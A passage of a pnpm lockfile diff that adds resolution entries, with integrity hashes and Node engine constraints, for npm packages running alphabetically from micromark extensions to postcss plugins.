sha512-BgHO1aRbolh2hcrzL2d1La37V0Aoz73ymF8rAcKnohLy93titmv62E0gP8Hrx9PKcKrqCZ1BbLGbP3bEhoXYlw==} + + micromark-extension-frontmatter@1.1.1: + resolution: {integrity: sha512-m2UH9a7n3W8VAH9JO9y01APpPKmNNNs71P0RbknEmYSaZU5Ghogv38BYO94AI5Xw6OYfxZRdHZZ2nYjs/Z+SZQ==} + + micromark-extension-mdx-expression@1.0.8: + resolution: {integrity: sha512-zZpeQtc5wfWKdzDsHRBY003H2Smg+PUi2REhqgIhdzAa5xonhP03FcXxqFSerFiNUr5AWmHpaNPQTBVOS4lrXw==} + + micromark-extension-mdx-jsx@1.0.5: + resolution: {integrity: sha512-gPH+9ZdmDflbu19Xkb8+gheqEDqkSpdCEubQyxuz/Hn8DOXiXvrXeikOoBA71+e8Pfi0/UYmU3wW3H58kr7akA==} + + micromark-extension-mdx-md@1.0.1: + resolution: {integrity: sha512-7MSuj2S7xjOQXAjjkbjBsHkMtb+mDGVW6uI2dBL9snOBCbZmoNgDAeZ0nSn9j3T42UE/g2xVNMn18PJxZvkBEA==} + + micromark-extension-mdxjs-esm@1.0.5: + resolution: {integrity: sha512-xNRBw4aoURcyz/S69B19WnZAkWJMxHMT5hE36GtDAyhoyn/8TuAeqjFJQlwk+MKQsUD7b3l7kFX+vlfVWgcX1w==} + + micromark-extension-mdxjs@1.0.1: + resolution: {integrity: sha512-7YA7hF6i5eKOfFUzZ+0z6avRG52GpWR8DL+kN47y3f2KhxbBZMhmxe7auOeaTBrW2DenbbZTf1ea9tA2hDpC2Q==} + + micromark-factory-destination@1.1.0: + resolution: {integrity: sha512-XaNDROBgx9SgSChd69pjiGKbV+nfHGDPVYFs5dOoDd7ZnMAE+Cuu91BCpsY8RT2NP9vo/B8pds2VQNCLiu0zhg==} + + micromark-factory-label@1.1.0: + resolution: {integrity: sha512-OLtyez4vZo/1NjxGhcpDSbHQ+m0IIGnT8BoPamh+7jVlzLJBH98zzuCoUeMxvM6WsNeh8wx8cKvqLiPHEACn0w==} + + micromark-factory-mdx-expression@1.0.9: + resolution: {integrity: sha512-jGIWzSmNfdnkJq05c7b0+Wv0Kfz3NJ3N4cBjnbO4zjXIlxJr+f8lk+5ZmwFvqdAbUy2q6B5rCY//g0QAAaXDWA==} + + micromark-factory-space@1.1.0: + resolution: {integrity: sha512-cRzEj7c0OL4Mw2v6nwzttyOZe8XY/Z8G0rzmWQZTBi/jjwyw/U4uqKtUORXQrR5bAZZnbTI/feRV/R7hc4jQYQ==} + + micromark-factory-title@1.1.0: + resolution: {integrity: sha512-J7n9R3vMmgjDOCY8NPw55jiyaQnH5kBdV2/UXCtZIpnHH3P6nHUKaH7XXEYuWwx/xUJcawa8plLBEjMPU24HzQ==} + + micromark-factory-whitespace@1.1.0: + resolution: {integrity: sha512-v2WlmiymVSp5oMg+1Q0N1Lxmt6pMhIHD457whWM7/GUlEks1hI9xj5w3zbc4uuMKXGisksZk8DzP2UyGbGqNsQ==} + + micromark-util-character@1.2.0: + resolution: {integrity: sha512-lXraTwcX3yH/vMDaFWCQJP1uIszLVebzUa3ZHdrgxr7KEU/9mL4mVgCpGbyhvNLNlauROiNUq7WN5u7ndbY6xg==} + + micromark-util-chunked@1.1.0: + resolution: {integrity: sha512-Ye01HXpkZPNcV6FiyoW2fGZDUw4Yc7vT0E9Sad83+bEDiCJ1uXu0S3mr8WLpsz3HaG3x2q0HM6CTuPdcZcluFQ==} + + micromark-util-classify-character@1.1.0: + resolution: {integrity: sha512-SL0wLxtKSnklKSUplok1WQFoGhUdWYKggKUiqhX+Swala+BtptGCu5iPRc+xvzJ4PXE/hwM3FNXsfEVgoZsWbw==} + + micromark-util-combine-extensions@1.1.0: + resolution: {integrity: sha512-Q20sp4mfNf9yEqDL50WwuWZHUrCO4fEyeDCnMGmG5Pr0Cz15Uo7KBs6jq+dq0EgX4DPwwrh9m0X+zPV1ypFvUA==} + + micromark-util-decode-numeric-character-reference@1.1.0: + resolution: {integrity: sha512-m9V0ExGv0jB1OT21mrWcuf4QhP46pH1KkfWy9ZEezqHKAxkj4mPCy3nIH1rkbdMlChLHX531eOrymlwyZIf2iw==} + + micromark-util-decode-string@1.1.0: + resolution: {integrity: sha512-YphLGCK8gM1tG1bd54azwyrQRjCFcmgj2S2GoJDNnh4vYtnL38JS8M4gpxzOPNyHdNEpheyWXCTnnTDY3N+NVQ==} + + micromark-util-encode@1.1.0: + resolution: {integrity: sha512-EuEzTWSTAj9PA5GOAs992GzNh2dGQO52UvAbtSOMvXTxv3Criqb6IOzJUBCmEqrrXSblJIJBbFFv6zPxpreiJw==} + + micromark-util-events-to-acorn@1.2.3: + resolution: {integrity: sha512-ij4X7Wuc4fED6UoLWkmo0xJQhsktfNh1J0m8g4PbIMPlx+ek/4YdW5mvbye8z/aZvAPUoxgXHrwVlXAPKMRp1w==} + + micromark-util-html-tag-name@1.2.0: + resolution: {integrity: sha512-VTQzcuQgFUD7yYztuQFKXT49KghjtETQ+Wv/zUjGSGBioZnkA4P1XXZPT1FHeJA6RwRXSF47yvJ1tsJdoxwO+Q==} + + micromark-util-normalize-identifier@1.1.0: + resolution: {integrity: sha512-N+w5vhqrBihhjdpM8+5Xsxy71QWqGn7HYNUvch71iV2PM7+E3uWGox1Qp90loa1ephtCxG2ftRV/Conitc6P2Q==} + + micromark-util-resolve-all@1.1.0: + resolution: {integrity: sha512-b/G6BTMSg+bX+xVCshPTPyAu2tmA0E4X98NSR7eIbeC6ycCqCeE7wjfDIgzEbkzdEVJXRtOG4FbEm/uGbCRouA==} + + micromark-util-sanitize-uri@1.2.0: + resolution: {integrity: sha512-QO4GXv0XZfWey4pYFndLUKEAktKkG5kZTdUNaTAkzbuJxn2tNBOr+QtxR2XpWaMhbImT2dPzyLrPXLlPhph34A==} + + micromark-util-subtokenize@1.1.0: + resolution: {integrity: sha512-kUQHyzRoxvZO2PuLzMt2P/dwVsTiivCK8icYTeR+3WgbuPqfHgPPy7nFKbeqRivBvn/3N3GBiNC+JRTMSxEC7A==} + + micromark-util-symbol@1.1.0: + resolution: {integrity: sha512-uEjpEYY6KMs1g7QfJ2eX1SQEV+ZT4rUD3UcF6l57acZvLNK7PBZL+ty82Z1qhK1/yXIY4bdx04FKMgR0g4IAag==} + + micromark-util-types@1.1.0: + resolution: {integrity: sha512-ukRBgie8TIAcacscVHSiddHjO4k/q3pnedmzMQ4iwDcK0FtFCohKOlFbaOL/mPgfnPsL3C1ZyxJa4sbWrBl3jg==} + + micromark@3.2.0: + resolution: {integrity: sha512-uD66tJj54JLYq0De10AhWycZWGQNUvDI55xPgk2sQM5kn1JYlhbCMTtEeT27+vAhW2FBQxLlOmS3pmA7/2z4aA==} + + micromatch@4.0.8: + resolution: {integrity: sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==} + engines: {node: '>=8.6'} + + mime-db@1.52.0: + resolution: {integrity: sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==} + engines: {node: '>= 0.6'} + + mime-db@1.54.0: + resolution: {integrity: sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ==} + engines: {node: '>= 0.6'} + + mime-types@2.1.35: + resolution: {integrity: sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==} + engines: {node: '>= 0.6'} + + mime@1.6.0: + resolution: {integrity: sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==} + engines: {node: '>=4'} + hasBin: true + + mimic-fn@2.1.0: + resolution: {integrity: sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==} + engines: {node: '>=6'} + + minimatch@3.1.5: + resolution: {integrity: sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==} + + minimatch@9.0.3: + resolution: {integrity: sha512-RHiac9mvaRw0x3AYRgDC1CxAP7HTcNrrECeA8YYJeWnpo+2Q5CegtZjaotWTWxDG3UeGA1coE05iH1mPjT/2mg==} + engines: {node: '>=16 || 14 >=14.17'} + + minimatch@9.0.9: + resolution: {integrity: sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==} + engines: {node: '>=16 || 14 >=14.17'} + + minimist@1.2.8: + resolution: {integrity: sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==} + + minipass-collect@1.0.2: + resolution: {integrity: sha512-6T6lH0H8OG9kITm/Jm6tdooIbogG9e0tLgpY6mphXSm/A9u8Nq1ryBG+Qspiub9LjWlBPsPS3tWQ/Botq4FdxA==} + engines: {node: '>= 8'} + + minipass-flush@1.0.5: + resolution: {integrity: sha512-JmQSYYpPUqX5Jyn1mXaRwOda1uQ8HP5KAT/oDSLCzt1BYRhQU0/hDtsB1ufZfEEzMZ9aAVmsBw8+FWsIXlClWw==} + engines: {node: '>= 8'} + + minipass-pipeline@1.2.4: + resolution: {integrity: sha512-xuIq7cIOt09RPRJ19gdi4b+RiNvDFYe5JH+ggNvBqGqpQXcru3PcRmOZuHBKWK1Txf9+cQ+HMVN4d6z46LZP7A==} + engines: {node: '>=8'} + + minipass@3.3.6: + resolution: {integrity: sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==} + engines: {node: '>=8'} + + minipass@5.0.0: + resolution: {integrity: sha512-3FnjYuehv9k6ovOEbyOswadCDPX1piCfhV8ncmYtHOjuPwylVWsghTLo7rabjC3Rx5xD4HDx8Wm1xnMF7S5qFQ==} + engines: {node: '>=8'} + + minipass@7.1.3: + resolution: {integrity: sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A==} + engines: {node: '>=16 || 14 >=14.17'} + + minizlib@2.1.2: + resolution: {integrity: sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==} + engines: {node: '>= 8'} + + mkdirp-classic@0.5.3: + resolution: {integrity: sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A==} + + mkdirp@1.0.4: + resolution: {integrity: sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==} + engines: {node: '>=10'} + hasBin: true + + mlly@1.8.0: + resolution: {integrity: sha512-l8D9ODSRWLe2KHJSifWGwBqpTZXIXTeo8mlKjY+E2HAakaTeNpqAyBZ8GSqLzHgw4XmHmC8whvpjJNMbFZN7/g==} + + modern-ahocorasick@1.1.0: + resolution: {integrity: sha512-sEKPVl2rM+MNVkGQt3ChdmD8YsigmXdn5NifZn6jiwn9LRJpWm8F3guhaqrJT/JOat6pwpbXEk6kv+b9DMIjsQ==} + + monaco-editor@0.55.1: + resolution: {integrity: sha512-jz4x+TJNFHwHtwuV9vA9rMujcZRb0CEilTEwG2rRSpe/A7Jdkuj8xPKttCgOh+v/lkHy7HsZ64oj+q3xoAFl9A==} + + morgan@1.10.1: + resolution: {integrity: sha512-223dMRJtI/l25dJKWpgij2cMtywuG/WiUKXdvwfbhGKBhy1puASqXwFzmWZ7+K73vUPoR7SS2Qz2cI/g9MKw0A==} + engines: {node: '>= 0.8.0'} + + mri@1.2.0: + resolution: {integrity: sha512-tzzskb3bG8LvYGFF/mDTpq3jpI6Q9wc3LEmBaghu+DdCssd1FakN7Bc0hVNmEyGq1bq3RgfkCb3cmQLpNPOroA==} + engines: {node: '>=4'} + + mrmime@1.0.1: + resolution: {integrity: sha512-hzzEagAgDyoU1Q6yg5uI+AorQgdvMCur3FcKf7NhMKWsaYg+RnbTyHRa/9IlLF9rf455MOCtcqqrQQ83pPP7Uw==} + engines: {node: '>=10'} + + ms@2.0.0: + resolution: {integrity: sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==} + + ms@2.1.3: + resolution: {integrity: sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==} + + nanoid@3.3.11: + resolution: {integrity: sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==} + engines: {node: ^10 || ^12 || ^13.7 || ^14 || >=15.0.1} + hasBin: true + + natural-compare@1.4.0: + resolution: {integrity: sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==} + + negotiator@0.6.3: + resolution: {integrity: sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==} + engines: {node: '>= 0.6'} + + negotiator@0.6.4: + resolution: {integrity: sha512-myRT3DiWPHqho5PrJaIRyaMv2kgYf0mUVgBNOYMuCH5Ki1yEiQaf/ZJuQ62nvpc44wL5WDbTX7yGJi1Neevw8w==} + engines: {node: '>= 0.6'} + + node-exports-info@1.6.0: + resolution: {integrity: sha512-pyFS63ptit/P5WqUkt+UUfe+4oevH+bFeIiPPdfb0pFeYEu/1ELnJu5l+5EcTKYL5M7zaAa7S8ddywgXypqKCw==} + engines: {node: '>= 0.4'} + + node-releases@2.0.27: + resolution: {integrity: sha512-nmh3lCkYZ3grZvqcCH+fjmQ7X+H0OeZgP40OierEaAptX4XofMh5kwNbWh7lBduUzCcV/8kZ+NDLCwm2iorIlA==} + + normalize-package-data@5.0.0: + resolution: {integrity: sha512-h9iPVIfrVZ9wVYQnxFgtw1ugSvGEMOlyPWWtm8BMJhnwyEL/FLbYbTY3V3PpjI/BUK67n9PEWDu6eHzu1fB15Q==} + engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} + + normalize-path@3.0.0: + resolution: {integrity: sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==} + engines: {node: '>=0.10.0'} + + normalize-url@6.1.0: + resolution: {integrity: sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==} + engines: {node: '>=10'} + + npm-install-checks@6.3.0: + resolution: {integrity: sha512-W29RiK/xtpCGqn6f3ixfRYGk+zRyr+Ew9F2E20BfXxT5/euLdA/Nm7fO7OeTGuAmTs30cpgInyJ0cYe708YTZw==} + engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} + + npm-normalize-package-bin@3.0.1: + resolution: {integrity: sha512-dMxCf+zZ+3zeQZXKxmyuCKlIDPGuv8EF940xbkC4kQVDTtqoh6rJFO+JTKSA6/Rwi0getWmtuy4Itup0AMcaDQ==} + engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} + + npm-package-arg@10.1.0: + resolution: {integrity: sha512-uFyyCEmgBfZTtrKk/5xDfHp6+MdrqGotX/VoOyEEl3mBwiEE5FlBaePanazJSVMPT7vKepcjYBY2ztg9A3yPIA==} + engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} + + npm-pick-manifest@8.0.2: + resolution: {integrity: sha512-1dKY+86/AIiq1tkKVD3l0WI+Gd3vkknVGAggsFeBkTvbhMQ1OND/LKkYv4JtXPKUJ8bOTCyLiqEg2P6QNdK+Gg==} + engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} + + npm-run-path@4.0.1: + resolution: {integrity: sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==} + engines: {node: '>=8'} + + nth-check@2.1.1: + resolution: {integrity: sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==} + + object-assign@4.1.1: + resolution: {integrity: sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==} + engines: {node: '>=0.10.0'} + + object-inspect@1.13.4: + resolution: {integrity: sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==} + engines: {node: '>= 0.4'} + + object-keys@1.1.1: + resolution: {integrity: sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==} + engines: {node: '>= 0.4'} + + object.assign@4.1.7: + resolution: {integrity: sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw==} + engines: {node: '>= 0.4'} + + object.entries@1.1.9: + resolution: {integrity: sha512-8u/hfXFRBD1O0hPUjioLhoWFHRmt6tKA4/vZPyckBr18l1KE9uHrFaFaUi8MDRTpi4uak2goyPTSNJLXX2k2Hw==} + engines: {node: '>= 0.4'} + + object.fromentries@2.0.8: + resolution: {integrity: sha512-k6E21FzySsSK5a21KRADBd/NGneRegFO5pLHfdQLpRDETUNJueLXs3WCzyQ3tFRDYgbq3KHGXfTbi2bs8WQ6rQ==} + engines: {node: '>= 0.4'} + + object.values@1.2.1: + resolution: {integrity: sha512-gXah6aZrcUxjWg2zR2MwouP2eHlCBzdV4pygudehaKXSGW4v2AsRQUK+lwwXhii6KFZcunEnmSUoYp5CXibxtA==} + engines: {node: '>= 0.4'} + + on-finished@2.3.0: + resolution: {integrity: sha512-ikqdkGAAyf/X/gPhXGvfgAytDZtDbr+bkNUJ0N9h5MI/dmdgCs3l6hoHrcUv41sRKew3jIwrp4qQDXiK99Utww==} + engines: {node: '>= 0.8'} + + on-finished@2.4.1: + resolution: {integrity: sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==} + engines: {node: '>= 0.8'} + + on-headers@1.1.0: + resolution: {integrity: sha512-737ZY3yNnXy37FHkQxPzt4UZ2UWPWiCZWLvFZ4fu5cueciegX0zGPnrlY6bwRg4FdQOe9YU8MkmJwGhoMybl8A==} + engines: {node: '>= 0.8'} + + once@1.4.0: + resolution: {integrity: sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==} + + onetime@5.1.2: + resolution: {integrity: sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==} + engines: {node: '>=6'} + + optionator@0.9.4: + resolution: {integrity: sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==} + engines: {node: '>= 0.8.0'} + + ora@5.4.1: + resolution: {integrity: sha512-5b6Y85tPxZZ7QytO+BQzysW31HJku27cRIlkbAXaNx+BdcVi+LlRFmVXzeF6a7JCwJpyw5c4b+YSVImQIrBpuQ==} + engines: {node: '>=10'} + + outdent@0.8.0: + resolution: {integrity: sha512-KiOAIsdpUTcAXuykya5fnVVT+/5uS0Q1mrkRHcF89tpieSmY33O/tmc54CqwA+bfhbtEfZUNLHaPUiB9X3jt1A==} + + own-keys@1.0.1: + resolution: {integrity: sha512-qFOyK5PjiWZd+QQIh+1jhdb9LpxTF0qs7Pm8o5QHYZ0M3vKqSqzsZaEB6oWlxZ+q2sJBMI/Ktgd2N5ZwQoRHfg==} + engines: {node: '>= 0.4'} + + p-finally@1.0.0: + resolution: {integrity: sha512-LICb2p9CB7FS+0eR1oqWnHhp0FljGLZCWBE9aix0Uye9W8LTQPwMTYVGWQWIw9RdQiDg4+epXQODwIYJtSJaow==} + engines: {node: '>=4'} + + p-limit@3.1.0: + resolution: {integrity: sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==} + engines: {node: '>=10'} + + p-locate@5.0.0: + resolution: {integrity: sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==} + engines: {node: '>=10'} + + p-map@4.0.0: + resolution: {integrity: sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==} + engines: {node: '>=10'} + + p-queue@6.6.2: + resolution: {integrity: sha512-RwFpb72c/BhQLEXIZ5K2e+AhgNVmIejGlTgiB9MzZ0e93GRvqZ7uSi0dvRF7/XIXDeNkra2fNHBxTyPDGySpjQ==} + engines: {node: '>=8'} + + p-timeout@3.2.0: + resolution: {integrity: sha512-rhIwUycgwwKcP9yTOOFK/AKsAopjjCakVqLHePO3CC6Mir1Z99xT+R63jZxAT5lFZLa2inS5h+ZS2GvR99/FBg==} + engines: {node: '>=8'} + + package-json-from-dist@1.0.1: + resolution: {integrity: sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw==} + + pako@0.2.9: + resolution: {integrity: sha512-NUcwaKxUxWrZLpDG+z/xZaCgQITkA/Dv4V/T6bw7VON6l1Xz/VnrBqrYjZQ12TamKHzITTfOEIYUj48y2KXImA==} + + parent-module@1.0.1: + resolution: {integrity: sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==} + engines: {node: '>=6'} + + parse-entities@4.0.2: + resolution: {integrity: sha512-GG2AQYWoLgL877gQIKeRPGO1xF9+eG1ujIb5soS5gPvLQ1y2o8FL90w2QWNdf9I361Mpp7726c+lj3U0qK1uGw==} + + parse-ms@2.1.0: + resolution: {integrity: sha512-kHt7kzLoS9VBZfUsiKjv43mr91ea+U05EyKkEtqp7vNbHxmaVuEqN7XxeEVnGrMtYOAxGrDElSi96K7EgO1zCA==} + engines: {node: '>=6'} + + parseurl@1.3.3: + resolution: {integrity: sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==} + engines: {node: '>= 0.8'} + + path-exists@4.0.0: + resolution: {integrity: sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==} + engines: {node: '>=8'} + + path-is-absolute@1.0.1: + resolution: {integrity: sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==} + engines: {node: '>=0.10.0'} + + path-key@3.1.1: + resolution: {integrity: sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==} + engines: {node: '>=8'} + + path-parse@1.0.7: + resolution: {integrity: sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==} + + path-scurry@1.11.1: + resolution: {integrity: sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==} + engines: {node: '>=16 || 14 >=14.18'} + + path-to-regexp@0.1.12: + resolution: {integrity: sha512-RA1GjUVMnvYFxuqovrEqZoxxW5NUZqbwKtYz/Tt7nXerk0LbLblQmrsgdeOxV5SFHf0UDggjS/bSeOZwt1pmEQ==} + + path-type@4.0.0: + resolution: {integrity: sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==} + engines: {node: '>=8'} + + pathe@1.1.2: + resolution: {integrity: sha512-whLdWMYL2TwI08hn8/ZqAbrVemu0LNaNNJZX73O6qaIdCTfXutsLhMkjdENX0qhsQ9uIimo4/aQOmXkoon2nDQ==} + + pathe@2.0.3: + resolution: {integrity: sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==} + + peek-stream@1.1.3: + resolution: {integrity: sha512-FhJ+YbOSBb9/rIl2ZeE/QHEsWn7PqNYt8ARAY3kIgNGOk13g9FGyIY6JIl/xB/3TFRVoTv5as0l11weORrTekA==} + + periscopic@3.1.0: + resolution: {integrity: sha512-vKiQ8RRtkl9P+r/+oefh25C3fhybptkHKCZSPlcXiJux2tJF55GnEj3BVn4A5gKfq9NWWXXrxkHBwVPUfH0opw==} + + picocolors@1.1.1: + resolution: {integrity: sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==} + + picomatch@2.3.1: + resolution: {integrity: sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==} + engines: {node: '>=8.6'} + + picomatch@4.0.3: + resolution: {integrity: sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==} + engines: {node: '>=12'} + + pidtree@0.6.0: + resolution: {integrity: sha512-eG2dWTVw5bzqGRztnHExczNxt5VGsE6OwTeCG3fdUf9KBsZzO3R5OIIIzWR+iZA0NtZ+RDVdaoE2dK1cn6jH4g==} + engines: {node: '>=0.10'} + hasBin: true + + pify@5.0.0: + resolution: {integrity: sha512-eW/gHNMlxdSP6dmG6uJip6FXN0EQBwm2clYYd8Wul42Cwu/DK8HEftzsapcNdYe2MfLiIwZqsDk2RDEsTE79hA==} + engines: {node: '>=10'} + + pkg-types@1.3.1: + resolution: {integrity: sha512-/Jm5M4RvtBFVkKWRu2BLUTNP8/M2a+UwuAX+ae4770q1qVGtfjG+WTCupoZixokjmHiry8uI+dlY8KXYV5HVVQ==} + + pkg-types@2.3.0: + resolution: {integrity: sha512-SIqCzDRg0s9npO5XQ3tNZioRY1uK06lA41ynBC1YmFTmnY6FjUjVt6s4LoADmwoig1qqD0oK8h1p/8mlMx8Oig==} + + playwright-core@1.58.2: + resolution: {integrity: sha512-yZkEtftgwS8CsfYo7nm0KE8jsvm6i/PTgVtB8DL726wNf6H2IMsDuxCpJj59KDaxCtSnrWan2AeDqM7JBaultg==} + engines: {node: '>=18'} + hasBin: true + + playwright@1.58.2: + resolution: {integrity: sha512-vA30H8Nvkq/cPBnNw4Q8TWz1EJyqgpuinBcHET0YVJVFldr8JDNiU9LaWAE1KqSkRYazuaBhTpB5ZzShOezQ6A==} + engines: {node: '>=18'} + hasBin: true + + possible-typed-array-names@1.1.0: + resolution: {integrity: sha512-/+5VFTchJDoVj3bhoqi6UeymcD00DAwb1nJwamzPvHEszJ4FpF6SNNbUbOS8yI56qHzdV8eK0qEfOSiodkTdxg==} + engines: {node: '>= 0.4'} + + postcss-calc@8.2.4: + resolution: {integrity: sha512-SmWMSJmB8MRnnULldx0lQIyhSNvuDl9HfrZkaqqE/WHAhToYsAvDq+yAsA/kIyINDszOp3Rh0GFoNuH5Ypsm3Q==} + peerDependencies: + postcss: ^8.2.2 + + postcss-colormin@5.3.1: + resolution: {integrity: 